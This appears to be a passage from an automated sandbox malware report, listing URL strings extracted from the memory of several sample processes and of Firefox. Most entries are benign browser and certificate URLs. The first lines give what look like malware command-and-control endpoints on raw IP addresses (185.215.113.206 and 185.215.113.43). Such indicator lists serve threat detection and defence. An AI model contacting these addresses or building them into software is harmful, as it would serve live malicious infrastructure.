Source: c077ee22d1.exe, 0000000B.00000002.2718871145.0000000001708000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php#
Source: c077ee22d1.exe, 0000000B.00000002.2718871145.0000000001708000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
Source: c077ee22d1.exe, 0000000B.00000002.2718871145.0000000001708000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php?
Source: c077ee22d1.exe, 0000000B.00000002.2718871145.0000000001708000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php_
Source: c077ee22d1.exe, 0000000B.00000002.2718871145.0000000001708000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpg
Source: c077ee22d1.exe, 0000000B.00000002.2718871145.00000000016AE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phps
Source: c077ee22d1.exe, 0000000B.00000002.2718871145.00000000016AE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpw
Source: c077ee22d1.exe, 0000000B.00000002.2718871145.0000000001708000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/ws
Source: skotes.exe, 00000008.00000002.2984921705.000000000116C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000008.00000002.2984921705.000000000116C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/15.113.43/a
Source: skotes.exe, 00000008.00000002.2984921705.000000000116C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/6122658-3693405117-2476756634-1002
Source: skotes.exe, 00000008.00000002.2984921705.0000000001193000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000008.00000002.2984921705.0000000001127000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000008.00000002.2984921705.000000000116C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000008.00000002.2984921705.0000000001127000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpE
Source: skotes.exe, 00000008.00000002.2984921705.000000000115A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpUsers
Source: skotes.exe, 00000008.00000002.2984921705.000000000115A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpWindows
Source: skotes.exe, 00000008.00000002.2984921705.0000000001193000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000008.00000002.2984921705.0000000001193000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncodedJ
Source: skotes.exe, 00000008.00000002.2984921705.000000000115A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnu
Source: skotes.exe, 00000008.00000002.2984921705.0000000001193000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpu
Source: skotes.exe, 00000008.00000002.2984921705.000000000116C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/a
Source: skotes.exe, 00000008.00000002.2984921705.0000000001193000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/dX
Source: skotes.exe, 00000008.00000002.2984921705.000000000116C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/fac00b58987e8fcf7b8c730804042ba5ce902415450#%=
Source: file.exe, 00000000.00000003.1747488914.0000000005EAD000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2629563335.00000000058F2000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2829969877.000000000575D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.000002298045D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1747488914.0000000005EAD000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2629563335.00000000058F2000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2829969877.000000000575D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.000002298045D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001B.00000002.2907951633.000002297A97D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://poczta.interia.pl/mh/?mailto=%sCan
Source: 3e1d30d118.exe, 0000000A.00000003.2705939782.0000000000C7A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.micro
Source: file.exe, 00000000.00000003.1820440695.00000000015CA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.micro0
Source: file.exe, 00000000.00000003.1747488914.0000000005EAD000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2629563335.00000000058F2000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2829969877.000000000575D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.000002298045D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1747488914.0000000005EAD000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2629563335.00000000058F2000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2829969877.000000000575D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.000002298045D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1747488914.0000000005EAD000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2629563335.00000000058F2000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2829969877.000000000575D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.000002298045D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1747488914.0000000005EAD000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2629563335.00000000058F2000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2829969877.000000000575D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.000002298045D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1747488914.0000000005EAD000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2629563335.00000000058F2000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2829969877.000000000575D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.000002298045D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001B.00000002.2965275696.000002298061B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001B.00000002.2965275696.000002298061B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/canonical.html_startDetection/urlFetcher.onredirectorerrorworkerAsso
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 0000001B.00000002.2905467211.000002297A38A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 0000001B.00000002.2905467211.000002297A38A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 0000001B.00000002.2905467211.000002297A38A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000001B.00000002.2899807746.000002296EB03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/stringsp
Source: 3e1d30d118.exe, 0000000C.00000003.2883520034.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2874734726.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2881423508.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2896778343.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2879394897.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2900515858.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2873847206.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2888639331.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2876541093.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2875692021.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2899712973.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2898684448.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2898142263.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2884856458.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2894727073.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2886049051.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2899196082.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2897446385.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2880668031.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2828419524.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://microsoft.co
Source: firefox.exe, 0000001B.00000002.2961962144.0000022980268000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2973760418.0000022981F50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2969804353.0000022980D9D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2956560946.000002297F5CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2955510210.000002297F4ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2971838030.0000022980F22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2961962144.00000229802DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2961962144.000002298028D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2956560946.000002297F503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2951117216.000002297ECBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2970883712.0000022980E20000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2906389932.000002297A4E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2960831661.000002298014D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2973760418.0000022981F59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2961962144.00000229802AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2809595407.000002297ECDB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000000.00000003.1747488914.0000000005EAD000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2629563335.00000000058F2000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2829969877.000000000575D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.000002298045D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1747488914.0000000005EAD000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2629563335.00000000058F2000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2829969877.000000000575D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.000002298045D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001B.00000002.2907951633.000002297A97D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/FileUtils.sys.mjs
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001B.00000002.2907951633.000002297A97D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%shandlerSvc
Source: firefox.exe, 0000001B.00000002.2952207436.000002297ED03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2960831661.000002298014D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2970883712.0000022980E66000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul.popup-notification-description
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/content/schemas/chrome
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADAB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/content/search/autocom
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://extensions/content/parent/ext-
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/arrows
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADAB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulmoz-extension://e2beb7c2-ef50-4ddd-9210
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADAB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xuloncommand=closebuttoncommand
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD48000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/sessionstore/TabSta
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADAB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/BrowserTelemetry
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADAB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/InlineSpellCheck
Source: file.exe, 00000000.00000003.1747488914.0000000005EAD000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2629563335.00000000058F2000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2829969877.000000000575D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.000002298045D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1747488914.0000000005EAD000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2629563335.00000000058F2000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2829969877.000000000575D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.000002298045D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001B.00000002.2950843311.000002297EB70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.2788251826.000002297E85D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2788613349.000002297E87B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2787902142.000002297E83E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2787522205.000002297E820000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.duckduckgo.com/ac/MOZ_INSTRUMENT_CUSTOM_ELEMENTS
Source: file.exe, 00000000.00000003.1715294203.0000000005DEB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715347269.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715425421.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600618224.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600448064.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600347557.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774760977.000000000566D000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774335661.000000000567F000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774528447.000000000566D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E52A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CCE5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001B.00000002.2965275696.0000022980609000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000003.1762031949.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2631561373.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2873733468.0000000005651000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2905467211.000002297A3AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000003.1762031949.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2631561373.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2905467211.000002297A3AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 0000001B.00000002.2966735935.0000022980854000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADAB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADAB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180resource://gre/modules/TelemetryEnvironment.sys.
Source: file.exe, 00000000.00000003.1715294203.0000000005DEB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715347269.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715425421.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600618224.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600448064.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600347557.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774760977.000000000566D000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774335661.000000000567F000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774528447.000000000566D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
